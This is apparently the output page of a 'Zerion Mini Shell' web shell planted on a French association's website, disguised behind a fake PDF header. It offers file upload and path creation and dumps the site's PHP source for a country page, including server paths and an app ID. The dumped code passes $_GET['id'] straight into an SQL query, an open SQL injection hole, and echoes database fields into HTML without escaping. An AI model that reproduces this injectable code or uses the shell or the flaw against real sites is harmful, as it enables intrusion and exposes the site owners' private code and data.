%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/alliance/domains/sedl.alnetis.fr/public_html/
Upload File :
Create Path :
Current File : /home/alliance/domains/sedl.alnetis.fr/public_html/p-pays.php

<?php
include_once("inc/config.php");
include_once("inc/functions.php");
include_once("inc/init.php");

//edition en cours 


$query="SELECT c.*,cl.name FROM `country` c LEFT JOIN `country_lang` cl ON c.`id`=cl.`country` WHERE cl.lang=".$lang->getlangid()." AND c.`id`=".$_GET['id'];
$country = $db->select_array($query);

//affichage du html
include("theme/html.php");
//affichage des metas
include("theme/meta.php");
echo "\n<title>".$country['name']." - ".$info_titresite."</title>\n";
?>
<meta property="og:type" content="non_profit"/>
<meta property="fb:app_id" content="307325492664749"/>
<meta property="og:url" content="<?php echo $url_site.((isset($pageactu))?$pageactu:''); ?>"/>
<meta property="og:site_name" content="<?php echo $info_titresite; ?>"/>
<?php
//affichage du header
include("theme/header.php");
//colonne de droite
include("theme/droite.php");

?>


<div class="ariane"><img src="images/icons/<?=strtolower($country['code_iso']);?>.png" alt="<?=$country['name'];?>"/> <span class="pays_lib"><?=$country['name'] ?></span></div>
<div class="page_pays">
	<? $villes=$section->getVil($country['id'],$this_edition['id'],$lang->getlangid()); ?>
	<? if($villes!=null): ?>
	<h2 class="bg_profil_2"><?=lang("12-Star City")?></h2>
	<? foreach($villes as $ville):?>
		<div class="bloc_pays flexcontent">
			<?if($ville['photo1']!=""):?>
				<a href="<?=$lang->getlang()?>/<?=$ville['id']?>-<?=$ville['permalien']?>/<?=$getedition?>" class="gauche"><img src="<?php echo thumb($ville['photo1'], 600,600) ?>" alt="" /></a>
			<? endif; ?>
			<div class="droite padding2 blanc">
				<h3><a href="<?=$lang->getlang()?>/<?=$ville['id']?>-<?=$ville['permalien']?>/<?=$getedition?>"><?=$ville['titre']; ?></a> </h3>
				<div class="texte"><?=texte_resume(html_entity_decode($ville['texte'],ENT_QUOTES, 'UTF-8'),270,$lang->getlang()."/".$ville['id']."-".$ville['permalien']."/".$getedition, lang("suite"))?></div>
			</div>
		</div>
	<?endforeach;
	endif;?>


	<? $cols=$section->getCol($country['id'],$this_edition['id'],$lang->getlangid()); ?>
	<? if($cols!=null): ?>
	<h2 class="bg_profil_1"><?=lang("Community partner")?></h2>
	<? foreach($cols as $col):?>
		<div class="bloc_pays flexcontent">
			<?if($col['photo1']!=""):?>
				<a href="<?=$lang->getlang()?>/<?=$col['id']?>-<?=$col['permalien']?>/<?=$getedition?>" class="gauche"><img src="<?php echo thumb($col['photo1'], 600,600) ?>" alt="" /></a>
			<? endif; ?>
			<div class="droite padding2 blanc">
				<h3><a href="<?=$lang->getlang()?>/<?=$col['id']?>-<?=$col['permalien']?>/<?=$getedition?>"><?=$col['titre']; ?></a></h3>
				<div class="texte"><?=texte_resume(html_entity_decode($col['texte'],ENT_QUOTES, 'UTF-8'),270,$lang->getlang()."/".$col['id']."-".$col['permalien']."/".$getedition, lang("suite"))?></div>
			</div>
		</div>
	<?endforeach;
	endif;?>


	<? $asss=$section->getAsso($country['id'],$this_edition['id'],$lang->getlangid()); ?>
	<? if($asss!=null): ?>
	<h2 class="bg_profil_3"><?=lang("Partner association")?></h2>
	<? foreach($asss as $ass):?>
		<div class="bloc_pays flexcontent">
			<?if($ass['photo1']!=""):?>
				<a href="<?=$lang->getlang()?>/<?=$ass['id']?>-<?=$ass['permalien']?>/<?=$getedition?>" class="gauche"><img src="<?php echo thumb($ass['photo1'], 600,600) ?>" alt="" /></a>
			<? endif; ?>
			<div class="droite padding2 blanc">
				<h3><a href="<?=$lang->getlang()?>/<?=$ass['id']?>-<?=$ass['permalien']?>/<?=$getedition?>"><?=$ass['titre']; ?></a></h3>
				<div class="texte"><?=texte_resume(html_entity_decode($ass['texte'],ENT_QUOTES, 'UTF-8'),270,$lang->getlang()."/".$ass['id']."-".$ass['permalien']."/".$getedition, lang("suite"))?></div>
			</div>
		</div>
	<?endforeach;
	endif;?>

</div>


<?php

//affichage du footer
include("theme/footer.php");

?>

Zerion Mini Shell 1.0